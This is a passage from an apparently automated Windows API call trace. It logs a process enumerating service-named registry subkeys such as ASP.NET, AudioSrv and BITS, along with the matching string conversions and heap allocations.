RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.107] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.107] 